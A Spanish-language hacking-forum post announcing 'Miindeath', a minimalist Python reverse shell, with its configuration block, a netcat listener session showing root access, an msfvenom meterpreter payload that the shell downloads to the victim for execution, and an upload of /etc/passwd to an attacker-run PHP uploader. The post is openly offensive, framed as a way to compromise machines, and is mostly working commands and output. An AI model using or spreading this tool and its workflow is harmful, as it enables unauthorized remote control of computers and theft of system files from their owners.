Miindeath: Una shell inversa minimalista :)

  • 0 Respuestas
  • 555 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado DtxdF

  • *
  • Moderador Global
  • Mensajes: 684
  • Actividad:
    100%
  • Reputación 16
  • Eres un auto y tienes dos opciones: Parar o Seguir
    • Ver Perfil
    • Mi repositorio de Github donde encontraras herramientas para tu trabajo.
    • Email

Miindeath: Una shell inversa minimalista :)

  • en: Diciembre 14, 2019, 03:02:03 pm
Miindeath

- Miindeath (Siglas de MInImalist Death). Es una shell inversa escrita en Python ( 3 ). que trata de ser lo más simple posible para lograr comprometer una máquina.

Instalación

No requiere librerías externas

Código: Bash
  1. git clone https://github.com/DtxdF/Miindeath.git
  2. cd Miindeath

Modo de ejecución

Código: Bash
  1. editor miindeath.py # Nos vamos a las lineas 54-77 y configuramos a nuestro gusto

Ejemplo:

Código: Python
  1. ...
  2. class config(object):
  3.  
  4.     RHOST = '127.0.0.1'
  5.     RPORT = 4444
  6.     LIMIT = 0 # 0 Es infinito
  7.     #timeout = 180 # 3 minutos
  8.     # Los bufers de red
  9.     RECV = 1024
  10.     SEND = 1024
  11.     HEADERS = {
  12.            
  13.         'User-Agent':'Hi!, My Name is DtxdF <img src="https://underc0de.org/foro/Smileys/default/smiley.gif" alt="&#58;&#41;" title="Sonrisa" class="smiley" />'
  14.            
  15.     }
  16.    
  17.     # Claves de los valores POST
  18.     FILENAME = 'filename' # El nombre del archivo
  19.     FILECONTENT = 'filecontent' # El contenido del archivo
  20.  
  21.     UNIT_SEP = '.AND.' # Cómo si fuera "bash" o una shell
  22.                        # cualquiera, para ejecutar varios
  23.                        # comandos internos.
  24.     SLEEP = 15
  25.     RECONNECT = True # Reconectar sí hay una desconexión, doh.
  26. ...

Es fácil deducir qué es cada cosa, pero para simplificar la explicación, sólo cambiemos "RHOST" y "RPORT" a los valores correspondientes.

Atacando:

Código: Bash
  1. # Victima:
  2. $ ./miindeath # (En caso que se haya compilado a un ejecutable) o python3 miindeath.py
  3. ...
  4. # Atacante:
  5. $ nc -lvvp 4444
  6. listening on [any] 4444 ...
  7. connect to [127.0.0.1] from localhost [127.0.0.1] 32974
  8. (5857): root@10.124.185.221:/home/dtxdf/tmp$ shell whoami
  9. root
  10. ...

Subiendo y Descargando archivos:

El atacante tiene que tener listo un servidor cualquiera para subir y bajar archivos.

En el caso de la bajada de archivos:


Código: Python
  1. python3 -m http.server 8080
  2. Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

También podria usar Apache (o cualquier otro), pero para hacer una simple demostración ...

Para ser más malévolos, usemos Metasploit O:) ...


Código: Bash
  1. msfvenom -p python/meterpreter/reverse_tcp LHOST=localhost LPORT=4445 -o script.py
  2. No platform was selected, choosing Msf::Module::Platform::Python from the payload
  3. No Arch selected, selecting Arch: python from the payload
  4. No encoder or badchars specified, outputting raw payload
  5. Payload size: 446 bytes
  6. Saved as: script.py

En el caso de la subida:

Creamos un simple uploader en PHP (uploader.php) y lo subimos a nuestro servidor con PHP instalado (Aunque podriamos hacer "php -S 0.0.0.0:8081")


Código: PHP
  1. <?php
  2.  
  3.    if (You are not allowed to view links. Register or Login($_POST['filename'])&&You are not allowed to view links. Register or Login($_POST['filecontent'])) {
  4.  
  5.       You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login($_POST['filename']), 'wb'), $_POST['filecontent']);
  6.    
  7.    }
  8.  
  9. ?>

En la configuración pueden cambiar los nombres de los parámetros POST

Ahora en la shell para descargar:


Código: Bash
  1. (5857): root@10.124.185.221:/home/dtxdf/tmp$ download http://localhost:8080/script.py /tmp/payload.py
  2. Guardado => /tmp/payload.py

Ahora sólo lo ejecutamos y tenemos una mejor shell con poderes.

Y por último, para subir:


Código: Bash
  1. (5857): root@10.124.185.221:/home/dtxdf/tmp$ upload http://localhost:8081/uploader.php /etc/passwd
  2. /etc/passwd, fue subido correctamente

:)

Notas:

Aunque sea una simple conexión entre sockets (TCP), la subida y bajada de archivos usa HTTP, simplemente porque es más sencillo para un atacante descargar/subir archivos de cualquier servidor público :)

Repositorio: github.com/DtxdF/Miindeath

~ DtxdF
« Última modificación: Diciembre 14, 2019, 03:39:01 pm por DtxdF »
Los seres humanos son robots, cuyo combustible es el afanado dinero.

 

Conexion Cliente Servidor [Tool t3c4i3`s Remote Access Shell]

Iniciado por Progresive Death

Respuestas: 1
Vistas: 3304
Último mensaje Mayo 13, 2011, 02:35:37 pm
por schegell cernunnos
Subiendo Shell desde el Panel de Administracion con Upload de Imagenes

Iniciado por ZanGetsu

Respuestas: 13
Vistas: 9835
Último mensaje Octubre 14, 2013, 10:42:26 pm
por Devilboy
XLSInjector – Inyectar Shell Meterpreter en Archivos Excel

Iniciado por Stuxnet

Respuestas: 4
Vistas: 4541
Último mensaje Noviembre 19, 2014, 07:13:03 pm
por baron.power
Usando módulos auxiliarys SSH (SECURE SHELL) [1,2] Parte

Iniciado por OswireW0rding

Respuestas: 2
Vistas: 3435
Último mensaje Marzo 12, 2014, 04:33:49 pm
por OswireW0rding
Terminos, Definiciones Exploit, Shell, Bof, Ruby

Iniciado por Krau[Z]ereth

Respuestas: 10
Vistas: 12436
Último mensaje Mayo 11, 2015, 02:24:09 am
por Baxtar